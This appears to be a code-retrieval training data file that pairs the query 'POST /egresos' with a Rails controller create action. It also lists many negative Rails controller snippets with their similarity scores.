query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
GET /egresos/1 GET /egresos/1.json
def activo @egreso.activo respond_to do |format| format.html { redirect_to egresos_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end", "def show\n @estatuto = Estatuto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estatuto }\n end\n end", "def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end", "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end", "def show\n @eou = Eou.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @eou }\n end\n end", "def show\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orgao }\n end\n end", "def show\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soiree }\n end\n end", "def show\n @gethotel = Gethotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gethotel }\n end\n end", "def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end", "def show\n @agente = Agente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agente } \n end\n end", "def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend", "def index\n @electors = Elector.all\n\n render json: @electors\n end", "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end", "def index\n @coordenador_estagios = CoordenadorEstagio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coordenador_estagios }\n end\n end", "def show\n @escola = Escola.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @escola }\n end\n end", "def index\n @dia_eventos = DiaEvento.all\n render json: @dia_eventos\n end", "def index\n @ordens = Orden.all\n render json: @ordens\n end", "def index\n @foros = Foro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foros }\n end\n end", "def show\n @exura = Exura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @exura }\n end\n end", "def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end", "def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end", "def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end", "def show\n @gasto = Gasto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gasto }\n end\n end", "def index\n @repas = Repa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @repas }\n end\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end", "def show\n @etnia = Etnia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etnia }\n end\n end", "def show\n @ecg = Ecg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ecg }\n end\n end", "def show\n @odontologo = Odontologo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @odontologo }\n end\n end", "def index\n @ef_pares = EfPare.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ef_pares }\n end\n end", "def index\n @empresas = Empresa.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @empresas }\n end\n end", "def index\n @enderecos = Endereco.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @enderecos }\n end\n end", "def set_egreso\n @egreso = Egreso.find(params[:id])\n end", "def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end", "def show\n @ejercicio = Ejercicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ejercicio }\n end\n end", "def show\n @relogio = Relogio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relogio }\n end\n end", "def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end", "def show\n @remito = Remito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @remito }\n end\n end", "def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end", "def show\n @estoque = Estoque.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estoque }\n end\n end", "def show\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguro }\n end\n end", "def show\n @escala = Escala.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @escala }\n end\n end", "def emergencias_en_curso\n @emergencies = Emergency.where(:estado => 'f')\n render json: @emergencies\n end", "def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end", "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estudiante }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @evento = Evento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evento }\n end\n end", "def show\n @eicon = Eicon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @eicon }\n end\n end", "def show\n render json: @elector\n end", "def show\n @nominee = Nominee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nominee }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def index\n @eobs = Eob.assigned\n @title = \"Posted EOBs\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "def show\n @pessoa_receber = PessoaReceber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @pessoa_receber }\n end\n end", "def show\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @referee }\n end\n end", "def show\n @razmer_go = RazmerGo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @razmer_go }\n end\n end", "def show\n @galeria = Galeria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galeria }\n end\n end", "def index\n \treclamos = Reclamo.all\n \trender json: reclamos.to_json(include: [:tipo_reclamo, :ubicacion, :user], methods: [:valoracion])\n end", "def show\n @reel = Reel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reel }\n end\n end", "def show\n @etape = Etape.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @etape }\n end\n end", "def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end", "def new\n @soiree = Soiree.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @soiree }\n end\n end", "def index\n \n @artigos = Artigo.search(params)\n\n #@artigos = Artigo.search(params)\n #@artigo = Artigo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @artigos }\n end\n end", "def index\n @heroes = Hero.all\n\n render json: @heroes\n end", "def show\n @evclient = Evclient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evclient }\n end\n end", "def show\n @exalt = Exalt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exalt }\n end\n end", "def show\n @especy = Especie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @especy }\n end\n end", "def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end", "def show\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cargo_eleicao }\n end\n end", "def index\n @detalles = Detalle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @detalles }\n end\n end", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end", "def show\n @cegonha = Cegonha.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cegonha }\n end\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "def show \n est = @establecimiento\n respond_to do |format|\n format.html\n format.json { \n\n if (params[:appkey].eql? appkey) #si el appkey es correcto\n render :json => {:nombre => @establecimiento.nombre, direccion: @establecimiento.direccion, :latitud => @establecimiento.latitud,\n :longitud => @establecimiento.longitud, :descripcion => @establecimiento.descripcion, :imagen => @establecimiento.foto.url(:small),\n :comentarios => @establecimiento.EstComentarios.map { |comentario| { :descripcion => comentario.descripcion, :usuario => comentario.usuario.nombre } } } \n\n else\n render json: {:error => \"No autorizado\"}\n end\n\n\n }\n end\n #No tiene restricciones, queda abierto para el API\n end", "def show\n @depoevento = Depoevento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @depoevento }\n end\n end", "def show\n @recoleccion = Recoleccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recoleccion }\n end\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def show\n @orden_cobro = OrdenCobro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orden_cobro }\n end\n end", "def show\n @orden_cobro = OrdenCobro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orden_cobro }\n end\n end", "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end", "def display\n @reservas = Reserva.order(fecha_inicio_estadia: :desc)\n render json: @reservas, include: [:cliente, :habitacion]\n end", "def show\n @coordenador_estagio = CoordenadorEstagio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coordenador_estagio }\n end\n end", "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end", "def index\n @frais_repas = FraisRepa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_repas }\n end\n end", "def index\n @regiones = Region.all\n\n render json: @regiones\n end", "def new\n @estatuto = Estatuto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @estatuto }\n end\n end", "def index\n @vehicule_persos = VehiculePerso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @vehicule_persos }\n end\n end", "def index\n @factura = Factura.find(params[:factura_id])\n @renglon_facturas = @factura.renglon_facturas\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @renglon_facturas }\n end\n end", "def index\n\t\tvendas = Venda.all\n\t\trender json: vendas, status: :ok\n\tend", "def index\n render json: @fiestas\n end", "def show\n @foto_galeri = FotoGaleri.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foto_galeri }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @garbage }\n end\n end" ]
[ "0.66960174", "0.66495717", "0.6387145", "0.6371378", "0.63597155", "0.63475263", "0.6303454", "0.62895095", "0.6270849", "0.6258465", "0.62435913", "0.62270004", "0.62261194", "0.61769146", "0.61631995", "0.61617047", "0.6160539", "0.61592335", "0.61469007", "0.61464125", "0.6144505", "0.6138165", "0.6137591", "0.6131285", "0.6119009", "0.610049", "0.60938567", "0.6088476", "0.6086077", "0.6072156", "0.6071144", "0.6061874", "0.6051759", "0.60514086", "0.6044763", "0.6026823", "0.60175157", "0.60106707", "0.60086304", "0.6002892", "0.5997323", "0.5990878", "0.59851897", "0.59850705", "0.59826493", "0.5978994", "0.59770846", "0.59748703", "0.5961267", "0.5956955", "0.59508795", "0.5943655", "0.59419024", "0.5938546", "0.59323174", "0.5932228", "0.59251463", "0.59238607", "0.59234506", "0.59174275", "0.59150434", "0.59120554", "0.59085524", "0.5899472", "0.58937335", "0.5891841", "0.5884129", "0.5875967", "0.58727974", "0.5859929", "0.584763", "0.5847423", "0.5835908", "0.58288604", "0.58287215", "0.5823263", "0.5821471", "0.5820339", "0.5820227", "0.58194405", "0.58145833", "0.58100593", "0.5810021", "0.5810021", "0.58099455", "0.58099455", "0.58037627", "0.5801795", "0.58002913", "0.5797403", "0.5793358", "0.57933146", "0.57893085", "0.57878786", "0.578337", "0.57812804", "0.57801867", "0.57731915", "0.57723427", "0.57723427", "0.577145" ]
0.0
-1
POST /egresos POST /egresos.json
def create @egreso = Egreso.new(egreso_params) @total=dinero_actual if @egreso.monto>@total flash[:warning] = 'El monto de egreso no puede ser mayor al monto actual' render action: "new" else if @egreso.save flash[:success] = 'Egreso creado exitosamente' redirect_to '/egresos' else render action: "new" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @eou = Eou.new(params[:eou])\n\n respond_to do |format|\n if @eou.save\n format.html { redirect_to @eou, :notice => 'Eou was successfully created.' }\n format.json { render :json => @eou, :status => :created, :location => @eou }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @eou.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @oeuvre = Oeuvre.new(oeuvre_params)\n\n respond_to do |format|\n if @oeuvre.save\n format.html { redirect_to oeuvres_url, notice: 'Oeuvre was successfully created.' }\n format.json { render :show, status: :created, location: @oeuvre }\n else\n format.html { render :new }\n format.json { render json: @oeuvre.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estatuto = Estatuto.new(params[:estatuto])\n\n respond_to do |format|\n if @estatuto.save\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully created.' }\n format.json { render json: @estatuto, status: :created, location: @estatuto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exura = Exura.new(params[:exura])\n\n respond_to do |format|\n if @exura.save\n format.html { redirect_to @exura, :notice => 'Exura was successfully created.' }\n format.json { render :json => @exura, :status => :created, :location => @exura }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @exura.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def create\n @comentario_egresado = ComentarioEgresado.new(comentario_egresado_params)\n\n respond_to do |format|\n if @comentario_egresado.save\n format.html { redirect_to @comentario_egresado, notice: 'Comentario egresado was successfully created.' }\n format.json { render :show, status: :created, location: @comentario_egresado }\n else\n format.html { render :new }\n format.json { render json: @comentario_egresado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dia_evento = DiaEvento.new(dia_evento_params)\n\n if @dia_evento.save\n render json: @dia_evento, status: :created, location: @dia_evento\n else\n render json: @dia_evento.errors, status: :unprocessable_entity\n end\n end", "def create\n @cegreso = Cegreso.new(cegreso_params)\n\n respond_to do |format|\n if @cegreso.save\n format.html { redirect_to @cegreso, notice: 'Cegreso was successfully created.' }\n format.json { render :show, status: :created, location: @cegreso }\n else\n format.html { render :new }\n format.json { render json: @cegreso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @soiree = Soiree.new(params[:soiree])\n\n respond_to do |format|\n if @soiree.save\n format.html { redirect_to @soiree, notice: 'Soiree was successfully created.' }\n format.json { render json: @soiree, status: :created, location: @soiree }\n else\n format.html { render action: \"new\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @resto = Resto.new(resto_params)\n\n respond_to do |format|\n if @resto.save\n format.html { redirect_to @resto, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @resto }\n else\n format.html { render :new }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @eje = Eje.new(eje_params)\n\n respond_to do |format|\n if @eje.save\n format.html { redirect_to @eje, notice: 'Eje was successfully created.' }\n format.json { render :show, status: :created, location: @eje }\n else\n format.html { render :new }\n format.json { render json: @eje.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @esjiaoben = Esjiaoben.new(esjiaoben_params)\n\n respond_to do |format|\n if @esjiaoben.save\n format.html { redirect_to @esjiaoben, notice: 'Esjiaoben was successfully created.' }\n format.json { render :show, status: :created, location: @esjiaoben }\n else\n format.html { render :new }\n format.json { render json: @esjiaoben.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @enemigo = Enemigo.new(enemigo_params)\n\n respond_to do |format|\n if @enemigo.save\n format.html { redirect_to @enemigo, notice: 'Enemigo was successfully created.' }\n format.json { render :show, status: :created, location: @enemigo }\n else\n format.html { render :new }\n format.json { render json: @enemigo.errors, status: :unprocessable_entity }\n end\n end\n end", "def egreso_params\n params.require(:egreso).permit(:estado, :monto, :fecha, :concepto)\n end", "def create\n @etnia = Etnia.new(params[:etnia])\n\n respond_to do |format|\n if @etnia.save\n format.html { redirect_to @etnia, notice: 'Etnia was successfully created.' }\n format.json { render json: @etnia, status: :created, location: @etnia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etnia.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @egresso = Egresso.new(egresso_params)\r\n\r\n respond_to do |format|\r\n if @egresso.save\r\n format.html { redirect_to @egresso, notice: 'Egresso criado com sucesso.' }\r\n format.json { render :show, status: :created, location: @egresso }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @egresso.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @objeto = Etiqueta.new(etiqueta_params)\n\n respond_to do |format|\n if @objeto.save\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @exemplaresproduto = Exemplaresproduto.new(exemplaresproduto_params)\n\n respond_to do |format|\n if @exemplaresproduto.save\n format.html { redirect_to @exemplaresproduto, notice: 'Exemplaresproduto was successfully created.' }\n format.json { render :show, status: :created, location: @exemplaresproduto }\n else\n format.html { render :new }\n format.json { render json: @exemplaresproduto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @etape = Etape.new(params[:etape])\n\n respond_to do |format|\n if @etape.save\n format.html { redirect_to @etape, notice: 'Etape was successfully created.' }\n format.json { render json: @etape, status: :created, location: @etape }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etape.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @genere = Genere.new(genere_params)\n\n respond_to do |format|\n if @genere.save\n format.html { redirect_to @genere, notice: 'Genere was successfully created.' }\n format.json { render :show, status: :created, location: @genere }\n else\n format.html { render :new }\n format.json { render json: @genere.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @oferta = Oferta.new(params[:oferta])\n\n respond_to do |format|\n if @oferta.save\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully created.' }\n format.json { render :json => @oferta, :status => :created, :location => @oferta }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_check(excon, body)\n excon.request(\n method: :post,\n path: '/check',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n @artesano = Artesano.new(artesano_params)\n\n respond_to do |format|\n if @artesano.save\n format.html { redirect_to @artesano, notice: 'Artesano was successfully created.' }\n format.json { render :show, status: :created, location: @artesano }\n else\n format.html { render :new }\n format.json { render json: @artesano.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estrada = Estrada.new(estrada_params)\n\n respond_to do |format|\n if @estrada.save\n format.html { redirect_to estradas_url, notice: 'Estrada criada com sucesso.' }\n format.json { render :show, status: :created, location: @estrada }\n else\n format.html { render :new }\n format.json { render json: @estrada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @eleitore = Eleitore.new(eleitore_params)\n\n respond_to do |format|\n if @eleitore.save\n format.html { redirect_to @eleitore, notice: 'Eleitore was successfully created.' }\n format.json { render :show, status: :created, location: @eleitore }\n else\n format.html { render :new }\n format.json { render json: @eleitore.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estoque = Estoque.new(params[:estoque])\n\n respond_to do |format|\n if @estoque.save\n format.html { redirect_to @estoque, notice: 'Estoque was successfully created.' }\n format.json { render json: @estoque, status: :created, location: @estoque }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n #puts \"🤖 POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend", "def create\n \n\n respond_to do |format|\n if @evolucion.save\n format.html { redirect_to @evolucion, notice: 'Evolucion was successfully created.' }\n format.json { render :show, status: :created, location: @evolucion }\n else\n format.html { render :new }\n format.json { render json: @evolucion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fotos_empresa = FotosEmpresa.new(fotos_empresa_params)\n\n respond_to do |format|\n if @fotos_empresa.save\n format.html { redirect_to @fotos_empresa, notice: 'Fotos empresa was successfully created.' }\n format.json { render :show, status: :created, location: @fotos_empresa }\n else\n format.html { render :new }\n format.json { render json: @fotos_empresa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @escola = Escola.new(params[:escola])\n\n respond_to do |format|\n if @escola.save\n format.html { redirect_to @escola, :notice => 'Escola was successfully created.' }\n format.json { render :json => @escola, :status => :created, :location => @escola }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @escola.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @peso = Peso.new(params[:peso])\n\n respond_to do |format|\n if @peso.save\n format.html { redirect_to @peso, notice: 'Peso was successfully created.' }\n format.json { render json: @peso, status: :created, location: @peso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to @especialidad, notice: 'Servicio creado exitosamente.' }\n format.json { render :show, status: :created, location: @especialidad }\n else\n format.html { render :new }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @agente = Agente.new(params[:agente])\n\n respond_to do |format|\n if @agente.save\n format.html { redirect_to @agente, notice: 'Agente se ha creado con éxito.' }\n format.json { render json: @agente, status: :created, location: @agente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agente.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "def create\n @peso = Peso.new(peso_params)\n\n respond_to do |format|\n if @peso.save\n format.html { redirect_to @peso, notice: 'Peso was successfully created.' }\n format.json { render :show, status: :created, location: @peso }\n else\n format.html { render :new }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ingeniero = Ingeniero.new(ingeniero_params)\n\n respond_to do |format|\n if @ingeniero.save\n format.html { redirect_to @ingeniero, notice: 'Ingeniero was successfully created.' }\n format.json { render :show, status: :created, location: @ingeniero }\n else\n format.html { render :new }\n format.json { render json: @ingeniero.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @etapa = Etapa.new(etapa_params)\n\n respond_to do |format|\n if @etapa.save\n format.html { redirect_to @etapa, notice: 'Etapa fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @etapa }\n else\n format.html { render :new }\n format.json { render json: @etapa.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @egreso.destroy\n respond_to do |format|\n format.html { redirect_to egresos_url, notice: 'Egreso was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @soiree = Soiree.new(soiree_params)\n\n respond_to do |format|\n if @soiree.save\n format.html { redirect_to @soiree, notice: 'Votre évènement a bien été créé.' }\n format.json { render :show, status: :created, location: @soiree }\n else\n format.html { render :new }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @gasto = Gasto.new(params[:gasto])\n\n respond_to do |format|\n if @gasto.save\n format.html { redirect_to @gasto, notice: 'Gasto was successfully created.' }\n format.json { render json: @gasto, status: :created, location: @gasto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gasto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ejemplo = Ejemplo.new(ejemplo_params)\n\n respond_to do |format|\n if @ejemplo.save\n format.html { redirect_to @ejemplo, notice: 'Ejemplo was successfully created.' }\n format.json { render :show, status: :created, location: @ejemplo }\n else\n format.html { render :new }\n format.json { render json: @ejemplo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n @rego = Rego.new(rego_params)\n\n respond_to do |format|\n if @rego.save\n format.html { redirect_to @rego, notice: 'Rego was successfully created.' }\n format.json { render :show, status: :created, location: @rego }\n else\n format.html { render :new }\n format.json { render json: @rego.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts JSON.pretty_generate(result)\n result\nend", "def create\n @cargo_eleicao = CargoEleicao.new(params[:cargo_eleicao])\n\n respond_to do |format|\n if @cargo_eleicao.save\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully created.' }\n 